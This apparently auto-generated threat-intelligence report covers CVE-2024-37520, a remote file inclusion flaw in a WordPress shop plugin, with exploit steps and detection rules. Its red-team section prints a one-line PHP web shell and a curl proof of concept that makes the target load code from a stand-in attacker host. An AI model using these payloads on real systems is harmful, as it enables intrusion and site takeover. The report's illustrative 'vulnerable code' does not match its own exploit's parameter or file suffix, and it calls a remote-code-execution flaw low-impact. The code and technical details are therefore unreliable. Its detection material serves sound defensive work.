CVE-2024-37520

Executive Summary

CVE-2024-37520 is a PHP Remote File Inclusion (RFI) vulnerability affecting the ShopBuilder – Elementor WooCommerce Builder Addons WordPress plugin by RadiusTheme, up to and including version 2.1.12. This vulnerability allows an unauthenticated attacker to include arbitrary remote files via improper control of filenames in PHP include/require statements. Successful exploitation can lead to remote code execution, data exfiltration, or complete site compromise. The vulnerability is classified as WordPress ecosystem issue and does not involve Apache or Nginx misconfigurations.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Users are advised to monitor the plugin’s update channel and apply patches as soon as they become available.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. The vulnerability is exploitable remotely without authentication, but the impact is limited to low-level compromise. However, in a WordPress context, RFI can often be chained with other vulnerabilities for higher impact.

Deep Dive & Mechanics

The vulnerability exists in the shopbuilder plugin’s handling of file inclusion. The plugin uses user-supplied input (e.g., via $_GET, $_POST, or $_REQUEST) to construct file paths for PHP include/require statements without proper sanitization or validation. An attacker can manipulate this input to include a remote file hosted on an attacker-controlled server.

Root Cause: The plugin fails to validate the filename parameter against a whitelist of allowed files or to restrict the inclusion to local files only. This allows an attacker to specify a URL (e.g., http://attacker.com/evil.php) which the PHP engine will fetch and execute.

Exploitation Scenario:

1. Attacker identifies a vulnerable endpoint in the plugin (e.g., ?include=...).
2. Attacker crafts a request: http://target.com/?include=http://attacker.com/shell.txt.
3. The plugin includes the remote file, executing arbitrary PHP code.
4. Attacker gains remote code execution on the target server.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.1.12):

<?php
// Vulnerable: Direct use of user input in include
$file = $_GET['file'];
include($file . '.php');
?>

Patched Code (Hypothetical):

<?php
// Patched: Whitelist allowed files
$allowed_files = array('header', 'footer', 'sidebar');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
    include($file . '.php');
} else {
    // Handle error
}
?>

Note: No official patch is available as of this report. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running WordPress with ShopBuilder plugin <= 2.1.12.
• Attacker-controlled server hosting a malicious PHP file.

Exploit Steps:

1. Host a malicious PHP file (e.g., shell.txt) on attacker server:

   <?php system($_GET['cmd']); ?>
   

2. Send crafted request to target:

   GET /?include=http://attacker.com/shell.txt HTTP/1.1
   Host: target.com
   

3. Execute commands:

   GET /?cmd=id HTTP/1.1
   Host: target.com
   

Proof-of-Concept (No public exploit available):

curl "http://target.com/?include=http://attacker.com/shell.txt&cmd=id"

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for unusual include parameters containing URLs.
• Look for outbound connections from the web server to unknown IPs.
• Use WAF rules to block RFI patterns.

Response:

• Immediately isolate the affected server.
• Remove or disable the vulnerable plugin.
• Scan for backdoors and unauthorized access.
• Review logs for indicators of compromise.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled IPs/domains.
  • Requests containing include=http:// or include=https:// in query strings.
• File System IOCs:
  • Unexpected files in wp-content/plugins/shopbuilder/ directory.
  • Modified .php files with suspicious include statements.
• Log IOCs:
  • Web server logs showing GET /?include=http://... patterns.
  • PHP error logs with include() failures for remote URLs.

Detection Engineering

YARA Rule

rule CVE_2024_37520_ShopBuilder_RFI {
    meta:
        description = "Detects RFI attempts targeting ShopBuilder plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37520"
    strings:
        $s1 = "include=" nocase
        $s2 = "require=" nocase
        $s3 = "http://" nocase
        $s4 = "https://" nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2024-37520 ShopBuilder RFI Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with RFI patterns targeting ShopBuilder plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'include=http://'
            - 'include=https://'
            - 'require=http://'
            - 'require=https://'
    condition: selection
falsepositives:
    - Legitimate use of remote includes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-37520 ShopBuilder RFI Attempt"; flow:to_server; content:"include="; http_uri; content:"http://"; http_uri; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement WAF rules to block RFI patterns (e.g., include=http://).
3. Restrict outbound traffic from the web server to only necessary destinations.

Long-term Fix:

• Apply the official patch when released by RadiusTheme.
• If no patch is forthcoming, consider replacing the plugin with an alternative.
• Conduct a security audit of all WordPress plugins.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.